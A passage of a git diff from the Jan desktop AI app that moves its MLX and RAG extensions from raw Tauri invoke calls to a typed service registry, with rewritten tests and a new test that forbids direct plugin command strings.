...modelConfig,+ model_path: modelConfig?.model_path?.replace(+ `mlx/models/${modelId}`,+ `mlx/models/${model.id}`+ ),}))}@@ -636,10 +721,6 @@ export default class mlx_extension extends AIEngine {])const localPath = await joinPath([modelDir, 'model.safetensors'])- const downloadManager = window.core.extensionManager.getByName(- '@janhq/download-extension'- )-// Build download items listconst downloadItems: any[] = [{@@ -661,7 +742,7 @@ export default class mlx_extension extends AIEngine {}try {- await downloadManager.downloadFiles(+ await this.downloads().downloadFiles(downloadItems,this.createDownloadTaskId(modelId),(transferred: number, total: number) => {@@ -724,10 +805,7 @@ export default class mlx_extension extends AIEngine {}await fs.mkdir(modelDir)- await invoke<void>('write_yaml', {- data: modelConfig,- savePath: configPath,- })+ await fs.writeYaml(configPath, modelConfig)events.emit(AppEvent.onModelImported, {modelId,@@ -783,10 +861,7 @@ export default class mlx_extension extends AIEngine {])await fs.mkdir(modelDir)- await invoke<void>('write_yaml', {- data: modelConfig,- savePath: configPath,- })+ await fs.writeYaml(configPath, modelConfig)events.emit(AppEvent.onModelImported, {modelId,@@ -797,6 +872,12 @@ export default class mlx_extension extends AIEngine {}}+ private downloads(): DownloadService {+ const service = this.services.get(ServiceKeys.Downloads)+ if (!service) throw new Error('Downloads service is not available')+ return service+ }+private createDownloadTaskId(modelId: string) {// prepend provider to make taksId unique across providersconst cleanModelId = modelId.includes('.')@@ -809,12 +890,8 @@ export default class mlx_extension extends AIEngine {// Cancel any active download task// prepend provider name to avoid name collisionconst taskId = this.createDownloadTaskId(modelId)- const downloadManager = window.core.extensionManager.getByName(- '@janhq/download-extension'- )-try {- await downloadManager.cancelDownload(taskId)+ await this.downloads().cancelDownload(taskId)} catch (cancelError) {logger.warn('Failed to cancel download task:', cancelError)}@@ -825,11 +902,8 @@ export default class mlx_extension extends AIEngine {override async pauseImport(modelId: string): Promise<void> {const taskId = this.createDownloadTaskId(modelId)- const downloadManager = window.core.extensionManager.getByName(- '@janhq/download-extension'- )// Pause keeps the partial .tmp for resume; the model folder is preserved.- await downloadManager.pauseDownload(taskId)+ await this.downloads().pauseDownload(taskId)}/**@@ -855,7 +929,7 @@ export default class mlx_extension extends AIEngine {override async getLoadedModels(): Promise<string[]> {try {- return await invoke<string[]>('plugin:mlx|get_mlx_loaded_models')+ return await getMlxLoadedModels()} catch (e) {logger.error(e)throw new Error(e)@@ -889,9 +963,7 @@ export default class mlx_extension extends AIEngine {}try {- const configContent = await invoke<string>('read_file_sync', {- args: [configPath],- })+ const configContent = await fs.readFileSync(configPath)const config = JSON.parse(configContent)// Check architecture for vision models@@ -945,9 +1017,9 @@ export default class mlx_extension extends AIEngine {])if (await fs.existsSync(preprocessorConfigPath)) {try {- const preprocessorConfig = await invoke<string>('read_file_sync', {- args: [preprocessorConfigPath],- })+ const preprocessorConfig = await fs.readFileSync(+ preprocessorConfigPath+ )const pc = JSON.parse(preprocessorConfig)if (pc.do_resize || pc.size || pc.patch_size) {logger.info('Vision support detected from preprocessor_config.json')@@ -973,9 +1045,7 @@ export default class mlx_extension extends AIEngine {modelId,'model.yml',])- const modelConfig = await invoke<ModelConfig>('read_yaml', {- path: modelConfigPath,- })+ const modelConfig = await fs.readYaml<ModelConfig>(modelConfigPath)// model_path could be absolute or relativelet modelPath: string@@ -999,11 +1069,8 @@ export default class mlx_extension extends AIEngine {])if (await fs.existsSync(tokenizerConfigPath)) {try {- const tokenizerConfigContent = await invoke<string>(- 'read_file_sync',- {- args: [tokenizerConfigPath],- }+ const tokenizerConfigContent = await fs.readFileSync(+ tokenizerConfigPath)// Check for tool/function calling indicatorsconst tcLower = tokenizerConfigContent.toLowerCase()@@ -1027,9 +1094,7 @@ export default class mlx_extension extends AIEngine {const chatTemplatePath = await joinPath([modelDir, 'chat_template.jinja'])if (await fs.existsSync(chatTemplatePath)) {try {- const chatTemplateContent = await invoke<string>('read_file_sync', {- args: [chatTemplatePath],- })+ const chatTemplateContent = await fs.readFileSync(chatTemplatePath)// Common tool/function calling template patternsconst ctLower = chatTemplateContent.toLowerCase()const toolPatterns = [diff --git a/extensions/mlx-extension/src/test/setup.ts b/extensions/mlx-extension/src/test/setup.tsindex 1a0ce8018..346d7253e 100644--- a/extensions/mlx-extension/src/test/setup.ts+++ b/extensions/mlx-extension/src/test/setup.ts@@ -3,11 +3,13 @@ import { vi } from 'vitest'// SETTINGS is a build-time define (rolldown). Provide an empty list for tests.;(globalThis as any).SETTINGS = []+// Backed by a Map so the settings the engine persists can be read back.+const stored = new Map<string, string>()const localStorageMock = {- getItem: vi.fn(),- setItem: vi.fn(),- removeItem: vi.fn(),- clear: vi.fn(),+ getItem: vi.fn((key: string) => stored.get(key) ?? null),+ setItem: vi.fn((key: string, value: string) => void stored.set(key, value)),+ removeItem: vi.fn((key: string) => void stored.delete(key)),+ clear: vi.fn(() => stored.clear()),}Object.defineProperty(globalThis, 'localStorage', {@@ -18,26 +20,17 @@ Object.defineProperty(globalThis, 'localStorage', {Object.defineProperty(globalThis, 'window', {value: {localStorage: localStorageMock,- core: {- extensionManager: {- getByName: vi.fn().mockReturnValue({- downloadFiles: vi.fn().mockResolvedValue(undefined),- cancelDownload: vi.fn().mockResolvedValue(undefined),- pauseDownload: vi.fn().mockResolvedValue(undefined),- }),- },- },},writable: true,})-vi.mock('@tauri-apps/api/core', () => ({- invoke: vi.fn(),-}))-vi.mock('@janhq/tauri-plugin-mlx-api', () => ({loadMlxModel: vi.fn(),unloadMlxModel: vi.fn(),+ isMlxProcessRunning: vi.fn(),+ getMlxRandomPort: vi.fn(),+ findMlxSessionByModel: vi.fn(),+ getMlxLoadedModels: vi.fn(),}))vi.mock('@janhq/tauri-plugin-llamacpp-api', () => ({@@ -48,12 +41,11 @@ vi.mock('@janhq/tauri-plugin-llamacpp-api', () => ({const joinPath = vi.fn((parts: string[]) => parts.join('/'))class AIEngineMock {- registerSettings = vi.fn()getSetting = vi.fn(async (_key: string, def: unknown) => def)- onLoad = vi.fn()}vi.mock('@janhq/core', () => ({+ ServiceKeys: { Downloads: { id: 'downloads' }, Mlx: { id: 'mlx' } },logger: {debug: vi.fn(),info: vi.fn(),@@ -68,6 +60,9 @@ vi.mock('@janhq/core', () => ({mkdir: vi.fn(),rm: vi.fn(),mv: vi.fn(),+ readYaml: vi.fn(),+ writeYaml: vi.fn(),+ readFileSync: vi.fn(),},joinPath,events: {diff --git a/extensions/no-raw-tauri-invoke.test.ts b/extensions/no-raw-tauri-invoke.test.tsnew file mode 100644index 000000000..a8b19a8b1--- /dev/null+++ b/extensions/no-raw-tauri-invoke.test.ts@@ -0,0 +1,122 @@+import { describe, it, expect } from 'vitest'+import { existsSync, readdirSync, readFileSync, statSync } from 'node:fs'+import { join, relative } from 'node:path'++// Built-in extensions reach the host only through `@janhq/core` and each+// plugin's typed guest-js wrapper. A raw `invoke('plugin:<name>|...')` skips+// the wrapper, so its argument shape is unchecked -- which is how llamacpp's+// getDevices shipped sending a `libraryPath` the command does not take.+const REPO_ROOT = join(__dirname, '..')+const EXTENSIONS_DIR = join(REPO_ROOT, 'extensions')+const WEB_APP_SRC = join(REPO_ROOT, 'web-app', 'src')+const PLUGINS_DIR = join(REPO_ROOT, 'src-tauri', 'plugins')+const PLUGIN_CRATE_PREFIX = 'tauri-plugin-'+const SKIP_DIRS = new Set(['node_modules', 'dist', 'test', '__tests__'])+const TEST_FILE = /\.(test|spec)\.tsx?$/+// Any `@tauri-apps/*` package, not just api/core: events, plugin-http and the+// rest are host facilities a built-in reaches through `ctx.internal`.+const TAURI_IMPORT = /['"]@tauri-apps\//++interface Plugin {+ name: string+ guestJs: string+}++// Tauri addresses a plugin by the name its crate passes to Builder::new, which+// by convention is the crate name minus `tauri-plugin-`.+function discoverPlugins(): Plugin[] {+ return readdirSync(PLUGINS_DIR)+ .map((dir) => join(PLUGINS_DIR, dir))+ .filter((dir) => existsSync(join(dir, 'guest-js')))+ .map((dir) => {+ const cargo = readFileSync(join(dir, 'Cargo.toml'), 'utf8')+ const crate = /^name\s*=\s*"([^"]+)"/m.exec(cargo)?.[1] ?? ''+ return {+ name: crate.startsWith(PLUGIN_CRATE_PREFIX)+ ? crate.slice(PLUGIN_CRATE_PREFIX.length)+ : crate,+ guestJs: join(dir, 'guest-js'),+ }+ })+}++function collectSources(dir: string): string[] {+ return readdirSync(dir).flatMap((entry) => {+ const full = join(dir, entry)+ if (statSync(full).isDirectory()) {+ return SKIP_DIRS.has(entry) ? [] : collectSources(full)+ }+ return /\.tsx?$/.test(entry) && !TEST_FILE.test(entry) ? [full] : []+ })+}++function extensionSources(): string[] {+ return readdirSync(EXTENSIONS_DIR)+ .map((entry) => join(EXTENSIONS_DIR, entry, 'src'))+ .filter((src) => existsSync(src))+ .flatMap(collectSources)+}++function offendingLines(files: string[], pattern: RegExp): string[] {+ return files.flatMap((file) =>+ readFileSync(file, 'utf8')+ .split('\n')+ .flatMap((line, i) =>+ pattern.test(line)+ ? [`${relative(REPO_ROOT, file)}:${i + 1}: ${line.trim()}`]+ : []+ )+ )+}++function escapeRegExp(text: string): string {+ return text.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')+}++const plugins = discoverPlugins()+const rawInvoke = new RegExp(+ `plugin:(${plugins.map(({ name }) => escapeRegExp(name)).join('|')})\\|`+)++describe('built-in extensions do not invoke Tauri directly', () => {+ it('derives each plugin name the way its guest-js addresses it', () => {+ expect(plugins.length).toBeGreaterThan(0)+ const mismatched = plugins.filter(+ ({ name, guestJs }) =>+ !collectSources(guestJs).some((file) =>+ readFileSync(file, 'utf8').includes(`plugin:${name}|`)+ )+ )+ expect(mismatched, JSON.stringify(mismatched)).toEqual([])+ })++ it('has no @tauri-apps/* import under extensions/*/src', () => {+ const offenders = offendingLines(extensionSources(), TAURI_IMPORT)+ expect(offenders, offenders.join('\n')).toEqual([])+ })++ // A bundler `inject` is an import by another name: it rewrites every bare+ // `fetch` in the bundle to a Tauri plugin the source never mentions.+ it('has no @tauri-apps/* module injected by an extension bundle config', () => {+ const configs = readdirSync(EXTENSIONS_DIR)+ .map((entry) => join(EXTENSIONS_DIR, entry, 'rolldown.config.mjs'))+ .filter((config) => existsSync(config))+ expect(configs.length).toBeGreaterThan(0)+ const offenders = offendingLines(configs, TAURI_IMPORT)+ expect(offenders, offenders.join('\n')).toEqual([])+ })++ it('has no raw plugin:<name>| command under extensions/*/src', () => {+ const offenders = offendingLines(extensionSources(), rawInvoke)+ expect(offenders, offenders.join('\n')).toEqual([])+ })+})++// The app is held to the same rule: a command string outside a plugin's+// guest-js is a second, untyped copy of that plugin's API.+describe('the web app does not address plugins directly', () => {+ it('has no raw plugin:<name>| command under web-app/src', () => {+ const offenders = offendingLines(collectSources(WEB_APP_SRC), rawInvoke)+ expect(offenders, offenders.join('\n')).toEqual([])+ })+})diff --git a/extensions/rag-extension/package.json b/extensions/rag-extension/package.jsonindex 94a93867e..94764d3d6 100644--- a/extensions/rag-extension/package.json+++ b/extensions/rag-extension/package.json@@ -4,12 +4,154 @@"version": "0.1.0","description": "Registers RAG tools and orchestrates retrieval across parser, embeddings, and vector DB","main": "dist/index.js",- "module": "dist/module.js",+ "jan": {+ "id": "jan.rag",+ "displayName": "RAG Tools",+ "description": "Registers RAG tools and orchestrates retrieval across parser, embeddings, and vector DB",+ "publisher": "Jan",+ "apiVersion": "^1.0.0",+ "main": "dist/index.js",+ "permissions": [],+ "contributes": {+ "settings": [+ {+ "key": "enabled",+ "title": "Enable Attachments",+ "description": "Allow uploading and indexing documents for retrieval.",+ "control": {+ "type": "checkbox",+ "default": true+ }+ },+ {+ "key": "parse_mode",+ "title": "Parse preference",+ "description": "Choose how parsed documents are added to conversations.",+ "control": {+ "type": "dropdown",+ "options": [+ {+ "value": "auto",+ "label": "Auto"+ },+ {+ "value": "inline",+ "label": "Include in chat"+ },+ {+ "value": "embeddings",+ "label": "Ingest as embeddings"+ },+ {+ "value": "prompt",+ "label": "Ask every time"+ }+ ],+ "default": "auto"+ }+ },+ {+ "key": "auto_inline_context_ratio",+ "title": "Auto inline threshold",+ "description": "Fraction of the model context used as the cutoff for inlining parsed files on local models.",+ "control": {+ "type": "slider",+ "min": 0.05,+ "max": 1,+ "step": 0.05,+ "default": 0.75+ }+ },+ {+ "key": "max_file_size_mb",+ "title": "Max Document Size (MB)",+ "description": "Maximum size per document. Enforced at upload and processing time. Images have their own limit above.",+ "control": {+ "type": "slider",+ "min": 1,+ "max": 200,+ "step": 1,+ "default": 100+ }+ },+ {+ "key": "retrieval_limit",+ "title": "Top-K",+ "description": "Maximum citations to return.",+ "control": {+ "type": "slider",+ "min": 1,+ "max": 20,+ "step": 1,+ "default": 3+ }+ },+ {+ "key": "retrieval_threshold",+ "title": "Affinity Threshold",+ "description": "Minimum similarity score (0-1). Only used for linear cosine search, not ANN.",+ "control": {+ "type": "slider",+ "min": 0,+ "max": 1,+ "step": 0.01,+ "default": 0.3+ }+ },+ {+ "key": "chunk_size_chars",+ "title": "Chunk Size (characters)",+ "description": "Approximate max characters per chunk for embeddings.",+ "control": {+ "type": "slider",+ "min": 64,+ "max": 8192,+ "step": 64,+ "default": 512+ }+ },+ {+ "key": "overlap_chars",+ "title": "Overlap (characters)",+ "description": "Character overlap between consecutive chunks.",+ "control": {+ "type": "slider",+ "min": 0,+ "max": 1024,+ "step": 16,+ "default": 64+ }+ },+ {+ "key": "search_mode",+ "title": "Vector Search Mode",+ "description": "Choose between sqlite-vec ANN, linear cosine, or auto.",+ "control": {+ "type": "dropdown",+ "options": [+ {+ "value": "auto",+ "label": "Auto (recommended)"+ },+ {+ "value": "ann",+ "label": "ANN (sqlite-vec)"+ },+ {+ "value": "linear",+ "label": "Linear"+ }+ ],+ "default": "auto"+ }+ }+ ]+ }+ },"author": "Jan <[email protected]>","license": "Apache-2.0","scripts": {"build": "rolldown -c rolldown.config.mjs",- "build:publish": "rimraf *.tgz --glob || true && yarn build && npm pack && cpx *.tgz ../../pre-install","test": "vitest run"},"devDependencies": {diff --git a/extensions/rag-extension/rolldown.config.mjs b/extensions/rag-extension/rolldown.config.mjsindex e9b190546..0fa617034 100644--- a/extensions/rag-extension/rolldown.config.mjs+++ b/extensions/rag-extension/rolldown.config.mjs@@ -1,5 +1,4 @@import { defineConfig } from 'rolldown'-import settingJson from './settings.json' with { type: 'json' }export default defineConfig({input: 'src/index.ts',@@ -8,7 +7,4 @@ export default defineConfig({file: 'dist/index.js',},platform: 'browser',- define: {- SETTINGS: JSON.stringify(settingJson),- },})diff --git a/extensions/rag-extension/settings.json b/extensions/rag-extension/settings.jsondeleted file mode 100644index 56fad601d..000000000--- a/extensions/rag-extension/settings.json+++ /dev/null@@ -1,80 +0,0 @@-[- {- "key": "enabled",- "titleKey": "settings:attachments.enable",- "descriptionKey": "settings:attachments.enableDesc",- "controllerType": "checkbox",- "controllerProps": { "value": true }- },- {- "key": "parse_mode",- "titleKey": "settings:attachments.parseMode",- "descriptionKey": "settings:attachments.parseModeDesc",- "controllerType": "dropdown",- "controllerProps": {- "value": "auto",- "options": [- { "name": "Auto", "value": "auto" },- { "name": "Include in chat", "value": "inline" },- { "name": "Ingest as embeddings", "value": "embeddings" },- { "name": "Ask every time", "value": "prompt" }- ]- }- },- {- "key": "auto_inline_context_ratio",- "titleKey": "settings:attachments.autoInlineThreshold",- "descriptionKey": "settings:attachments.autoInlineThresholdDesc",- "controllerType": "input",- "controllerProps": { "value": 0.75, "type": "number", "min": 0.05, "max": 1, "step": 0.05, "textAlign": "right" }- },- {- "key": "max_file_size_mb",- "titleKey": "settings:attachments.maxFile",- "descriptionKey": "settings:attachments.maxFileDesc",- "controllerType": "input",- "controllerProps": { "value": 100, "type": "number", "min": 1, "max": 200, "step": 1, "textAlign": "right" }- },- {- "key": "retrieval_limit",- "titleKey": "settings:attachments.topK",- "descriptionKey": "settings:attachments.topKDesc",- "controllerType": "input",- "controllerProps": { "value": 3, "type": "number", "min": 1, "max": 20, "step": 1, "textAlign": "right" }- },- {- "key": "retrieval_threshold",- "titleKey": "settings:attachments.threshold",- "descriptionKey": "settings:attachments.thresholdDesc",- "controllerType": "input",- "controllerProps": { "value": 0.3, "type": "number", "min": 0, "max": 1, "step": 0.01, "textAlign": "right" }- },- {- "key": "chunk_size_chars",- "titleKey": "settings:attachments.chunkSize",- "descriptionKey": "settings:attachments.chunkSizeDesc",- "controllerType": "input",- "controllerProps": { "value": 512, "type": "number", "min": 64, "max": 8192, "step": 64, "textAlign": "right" }- },- {- "key": "overlap_chars",- "titleKey": "settings:attachments.chunkOverlap",- "descriptionKey": "settings:attachments.chunkOverlapDesc",- "controllerType": "input",- "controllerProps": { "value": 64, "type": "number", "min": 0, "max": 1024, "step": 16, "textAlign": "right" }- },- {- "key": "search_mode",- "titleKey": "settings:attachments.searchMode",- "descriptionKey": "settings:attachments.searchModeDesc",- "controllerType": "dropdown",- "controllerProps": {- "value": "auto",- "options": [- { "name": "Auto (recommended)", "value": "auto" },- { "name": "ANN (sqlite-vec)", "value": "ann" },- { "name": "Linear", "value": "linear" }- ]- }- }-]diff --git a/extensions/rag-extension/src/env.d.ts b/extensions/rag-extension/src/env.d.tsdeleted file mode 100644index 512ce0505..000000000--- a/extensions/rag-extension/src/env.d.ts+++ /dev/null@@ -1,5 +0,0 @@-import type { SettingComponentProps } from '@janhq/core'-declare global {- const SETTINGS: SettingComponentProps[]-}-export {}diff --git a/extensions/rag-extension/src/global.d.ts b/extensions/rag-extension/src/global.d.tsdeleted file mode 100644index f6fa6968e..000000000--- a/extensions/rag-extension/src/global.d.ts+++ /dev/null@@ -1,14 +0,0 @@-import type { BaseExtension, ExtensionTypeEnum } from '@janhq/core'--declare global {- interface Window {- core?: {- extensionManager: {- get<T = BaseExtension>(type: ExtensionTypeEnum): T | undefined- getByName(name: string): BaseExtension | undefined- }- }- }-}--export {}diff --git a/extensions/rag-extension/src/index.test.ts b/extensions/rag-extension/src/index.test.tsindex 78b973884..4d907f59a 100644--- a/extensions/rag-extension/src/index.test.ts+++ b/extensions/rag-extension/src/index.test.ts@@ -1,60 +1,90 @@import { describe, it, expect, beforeEach, vi } from 'vitest'import * as ragApi from '@janhq/tauri-plugin-rag-api'-import RagExtension from './index'+import { ServiceKeys, type VectorDBService } from '@janhq/core'+import { activate, applySetting, type Rag, type RagConfig } from './index'+import { fakeContext } from './test/fake-context'function parsePayload(result: { content: Array<{ text: string }> }) {return JSON.parse(result.content[0].text)}-function extMgr() {- return window.core!.extensionManager as unknown as {- get: ReturnType<typeof vi.fn>- getByName: ReturnType<typeof vi.fn>- }-}+// What each test sets as the vector DB; read through the service registry+// on every call, as the extension does.+let vectorDB: Partial<VectorDBService> | undefined+const engine = () => window.core.engineManager.get as ReturnType<typeof vi.fn>++const useVectorDB = (v: Partial<VectorDBService>) => void (vectorDB = v)-function makeExt(): RagExtension {- return new (RagExtension as any)()+let config: RagConfig++async function activated(settings = {}) {+ const fake = fakeContext({ settings })+ const services = fake.services+ const get = services.get.bind(services)+ services.get = ((key) =>+ key.id === ServiceKeys.VectorDB.id ? vectorDB : get(key)) as typeof services.get+ await activate(fake.ctx)+ return fake}-describe('RagExtension tool metadata', () => {- let ext: RagExtension+async function makeExt(): Promise<Rag> {+ const fake = await activated()+ const rag = fake.services.get(ServiceKeys.RAG) as Rag+ config = (rag as unknown as { config: RagConfig }).config+ return rag+}+describe('tool registration', () => {beforeEach(() => {vi.clearAllMocks()- ext = makeExt()+ vectorDB = undefined})- it('getTools returns the three tools', async () => {- const tools = await ext.getTools()- expect(tools.map((t) => t.name)).toEqual([- 'list_attachments',- 'retrieve',- 'get_chunks',- ])+ it('registers the three tools on the internal tool registry', async () => {+ const { tools } = await activated()+ expect(tools.names()).toEqual(['list_attachments', 'retrieve', 'get_chunks'])+ expect(tools.definitions().every((t) => t.server === 'rag-internal')).toBe(true)})- it('getToolNames mirrors the registered tools', async () => {- expect(await ext.getToolNames()).toEqual([- 'list_attachments',- 'retrieve',- 'get_chunks',- ])+ it('caps retrieve top_k at the current retrieval limit', async () => {+ const { tools, settings } = await activated({ retrieval_limit: 5 })+ const topK = () =>+ (tools.definitions().find((t) => t.name === 'retrieve')!.inputSchema as {+ properties: { top_k: { maximum: number } }+ }).properties.top_k.maximum+ expect(topK()).toBe(5)+ await settings.api.set('retrieval_limit', 8)+ expect(topK()).toBe(8)+ })++ it('routes a registry call to the tool', async () => {+ const { tools } = await activated()+ const res = await tools.call('list_attachments', { scope: 'thread' })+ expect(res.error).toBe('Missing thread_id')})it('callTool returns an error result for an unknown tool', async () => {+ const ext = await makeExt()const res = await ext.callTool('nope', {})expect(res.error).toBe('Unknown tool: nope')expect(res.content[0].text).toContain('Unknown tool: nope')})++ it('releases its tools and services when disposed', async () => {+ const { ctx, tools, services } = await activated()+ ctx.subscriptions.dispose()+ expect(tools.names()).toEqual([])+ expect(services.get(ServiceKeys.RAG)).toBeUndefined()+ })})describe('listAttachments', () => {- let ext: RagExtension+ let ext: Rag- beforeEach(() => {+ beforeEach(async () => {vi.clearAllMocks()- ext = makeExt()+ vectorDB = undefined+ ext = await makeExt()})it('errors when thread_id is missing for thread scope', async () => {@@ -62,8 +92,7 @@ describe('listAttachments', () => {expect(res.error).toBe('Missing thread_id')})- it('errors when the vector DB extension lacks list methods', async () => {- extMgr().get.mockReturnValue({})+ it('errors when the vector DB service is not provided', async () => {const res = await ext.callTool('list_attachments', { thread_id: 't1' })expect(res.error).toContain('missing listAttachments')})@@ -71,7 +100,7 @@ describe('listAttachments', () => {it('lists thread-level attachments', async () => {const files = [{ file_id: 'f1', name: 'a.txt' }]const listAttachments = vi.fn().mockResolvedValue(files)- extMgr().get.mockReturnValue({ listAttachments })+ useVectorDB({ listAttachments })const res = await ext.callTool('list_attachments', { thread_id: 't1' })expect(listAttachments).toHaveBeenCalledWith('t1')const payload = parsePayload(res)@@ -83,7 +112,7 @@ describe('listAttachments', () => {it('lists project-level attachments when scope is project', async () => {const listAttachmentsForProject = vi.fn().mockResolvedValue([])const listAttachments = vi.fn()- extMgr().get.mockReturnValue({+ useVectorDB({listAttachmentsForProject,listAttachments,})@@ -97,7 +126,7 @@ describe('listAttachments', () => {})it('captures thrown errors', async () => {- extMgr().get.mockReturnValue({+ useVectorDB({listAttachments: vi.fn().mockRejectedValue(new Error('boom')),})const res = await ext.callTool('list_attachments', { thread_id: 't1' })@@ -107,15 +136,16 @@ describe('listAttachments', () => {})describe('retrieve', () => {- let ext: RagExtension+ let ext: Rag- beforeEach(() => {+ beforeEach(async () => {vi.clearAllMocks()- ext = makeExt()+ vectorDB = undefined+ ext = await makeExt()})it('reports disabled feature', async () => {- ;(ext as any).config.enabled = false+ config.enabled = falseconst res = await ext.callTool('retrieve', { thread_id: 't1', query: 'q' })expect(res.error).toBe('Attachments feature disabled')})@@ -125,15 +155,14 @@ describe('retrieve', () => {expect(res.error).toContain('Missing thread_id, project_id, or query')})- it('errors when vector DB search is unavailable', async () => {- extMgr().get.mockReturnValue({})+ it('errors when the vector DB service is not provided', async () => {const res = await ext.callTool('retrieve', { thread_id: 't1', query: 'q' })expect(res.error).toBe('RAG dependencies not available')})it('errors when embeddings cannot be computed', async () => {- extMgr().get.mockReturnValue({ searchCollection: vi.fn() })- extMgr().getByName.mockReturnValue({ embed: vi.fn().mockResolvedValue({ data: [] }) })+ useVectorDB({ searchCollection: vi.fn() })+ engine().mockReturnValue({ embed: vi.fn().mockResolvedValue({ data: [] }) })const res = await ext.callTool('retrieve', { thread_id: 't1', query: 'q' })expect(res.error).toBe('Failed to compute embeddings')})@@ -142,11 +171,11 @@ describe('retrieve', () => {const searchCollection = vi.fn().mockResolvedValue([{ id: 'c1', text: 'hello', score: 0.9, file_id: 'f1', chunk_file_order: 2 },])- extMgr().get.mockReturnValue({ searchCollection })+ useVectorDB({ searchCollection })const embed = vi.fn().mockResolvedValue({ data: [{ embedding: [0.1, 0.2], index: 0 }] })- extMgr().getByName.mockReturnValue({ embed })+ engine().mockReturnValue({ embed })const res = await ext.callTool('retrieve', {thread_id: 't1',@@ -172,8 +201,8 @@ describe('retrieve', () => {it('uses project search and project_id as effective thread when scope is project', async () => {const searchCollectionForProject = vi.fn().mockResolvedValue([])- extMgr().get.mockReturnValue({ searchCollectionForProject })- extMgr().getByName.mockReturnValue({+ useVectorDB({ searchCollectionForProject })+ engine().mockReturnValue({embed: vi.fn().mockResolvedValue({ data: [{ embedding: [1], index: 0 }] }),})@@ -196,10 +225,10 @@ describe('retrieve', () => {})it('captures search errors', async () => {- extMgr().get.mockReturnValue({+ useVectorDB({searchCollection: vi.fn().mockRejectedValue(new Error('db down')),})- extMgr().getByName.mockReturnValue({+ engine().mockReturnValue({embed: vi.fn().mockResolvedValue({ data: [{ embedding: [1], index: 0 }] }),})const res = await ext.callTool('retrieve', { thread_id: 't1', query: 'q' })@@ -210,12 +239,12 @@ describe('retrieve', () => {// Rust plugin errors arrive as { VariantName: "message" }; the message is// what the model can act on, not the wrapper.it('unwraps a plugin error variant instead of dumping its JSON', async () => {- extMgr().get.mockReturnValue({+ useVectorDB({searchCollection: vi.fn().mockRejectedValue({ InvalidInput: 'embedding is empty' }),})- extMgr().getByName.mockReturnValue({+ engine().mockReturnValue({embed: vi.fn().mockResolvedValue({ data: [{ embedding: [1], index: 0 }] }),})const res = await ext.callTool('retrieve', { thread_id: 't1', query: 'q' })@@ -224,11 +253,12 @@ describe('retrieve', () => {})describe('getChunks', () => {- let ext: RagExtension+ let ext: Rag- beforeEach(() => {+ beforeEach(async () => {vi.clearAllMocks()- ext = makeExt()+ vectorDB = undefined+ ext = await makeExt()})it('errors on missing parameters', async () => {@@ -236,8 +266,7 @@ describe('getChunks', () => {expect(res.error).toContain('Missing thread_id, file_id, start_order')})- it('errors when vector DB is unavailable', async () => {- extMgr().get.mockReturnValue({})+ it('errors when the vector DB service is not provided', async () => {const res = await ext.callTool('get_chunks', {thread_id: 't1',file_id: 'f1',@@ -250,7 +279,7 @@ describe('getChunks', () => {it('returns chunks from thread scope', async () => {const getChunks = vi.fn().mockResolvedValue([{ order: 0, text: 'x' }])- extMgr().get.mockReturnValue({ getChunks })+ useVectorDB({ getChunks })const res = await ext.callTool('get_chunks', {thread_id: 't1',file_id: 'f1',@@ -265,7 +294,7 @@ describe('getChunks', () => {it('supports start_order = end_order = 0 (single chunk)', async () => {const getChunks = vi.fn().mockResolvedValue([])- extMgr().get.mockReturnValue({ getChunks })+ useVectorDB({ getChunks })const res = await ext.callTool('get_chunks', {thread_id: 't1',file_id: 'f1',@@ -278,7 +307,7 @@ describe('getChunks', () => {it('uses project scope helper', async () => {const getChunksForProject = vi.fn().mockResolvedValue([])- extMgr().get.mockReturnValue({ getChunksForProject })+ useVectorDB({ getChunksForProject })await ext.callTool('get_chunks', {thread_id: 'p1',file_id: 'f1',@@ -291,11 +320,12 @@ describe('getChunks', () => {})describe('ingestAttachments', () => {- let ext: RagExtension+ let ext: Rag- beforeEach(() => {+ beforeEach(async () => {vi.clearAllMocks()- ext = makeExt()+ vectorDB = undefined+ ext = await makeExt()})it('returns empty result for no files', async () => {@@ -304,21 +334,20 @@ describe('ingestAttachments', () => {})it('does nothing when disabled', async () => {- ;(ext as any).config.enabled = false+ config.enabled = falseconst res = await ext.ingestAttachments('t1', [{ path: '/a.txt' }])expect(res.filesProcessed).toBe(0)})- it('throws when the vector DB extension is unavailable', async () => {- extMgr().get.mockReturnValue({})+ it('throws when the vector DB service is not provided', async () => {await expect(ext.ingestAttachments('t1', [{ path: '/a.txt' }])).rejects.toThrow('Vector DB extension not available')})it('enforces the file size limit', async () => {- ;(ext as any).config.maxFileSizeMB = 1- extMgr().get.mockReturnValue({+ config.maxFileSizeMB = 1+ useVectorDB({createCollection: vi.fn(),insertChunks: vi.fn(),ingestFile: vi.fn(),@@ -335,7 +364,7 @@ describe('ingestAttachments', () => {.fn().mockResolvedValueOnce({ file_id: 'f1', chunk_count: 3 }).mockResolvedValueOnce({ file_id: 'f2', chunk_count: 2 })- extMgr().get.mockReturnValue({+ useVectorDB({createCollection: vi.fn(),insertChunks: vi.fn(),ingestFile,@@ -353,25 +382,22 @@ describe('ingestAttachments', () => {)})- it('skips files without a path and files when ingestFile is missing', async () => {- extMgr().get.mockReturnValue({- createCollection: vi.fn(),- insertChunks: vi.fn(),- })- const res = await ext.ingestAttachments('t1', [- { path: '' } as any,- { path: '/a.txt' },- ])+ it('skips files without a path', async () => {+ const ingestFile = vi.fn()+ useVectorDB({ ingestFile })+ const res = await ext.ingestAttachments('t1', [{ path: '' }])expect(res.filesProcessed).toBe(0)+ expect(ingestFile).not.toHaveBeenCalled()})})describe('ingestAttachmentsForProject', () => {- let ext: RagExtension+ let ext: Rag- beforeEach(() => {+ beforeEach(async () => {vi.clearAllMocks()- ext = makeExt()+ vectorDB = undefined+ ext = await makeExt()})it('returns empty for missing project id or files', async () => {@@ -382,18 +408,17 @@ describe('ingestAttachmentsForProject', () => {})})- it('throws when project ingestion is unsupported', async () => {- extMgr().get.mockReturnValue({})+ it('throws when the vector DB service is not provided', async () => {await expect(ext.ingestAttachmentsForProject('p1', [{ path: '/a.txt' }])- ).rejects.toThrow('does not support project-level ingestion')+ ).rejects.toThrow('Vector DB extension not available')})it('ingests project files', async () => {const ingestFileForProject = vi.fn().mockResolvedValue({ file_id: 'f1', chunk_count: 4 })- extMgr().get.mockReturnValue({ ingestFileForProject })+ useVectorDB({ ingestFileForProject })const res = await ext.ingestAttachmentsForProject('p1', [{ path: '/a.txt', name: 'a.txt' },])@@ -407,15 +432,16 @@ describe('ingestAttachmentsForProject', () => {})describe('parseDocument and embed', () => {- let ext: RagExtension+ let ext: Rag- beforeEach(() => {+ beforeEach(async () => {vi.clearAllMocks()- 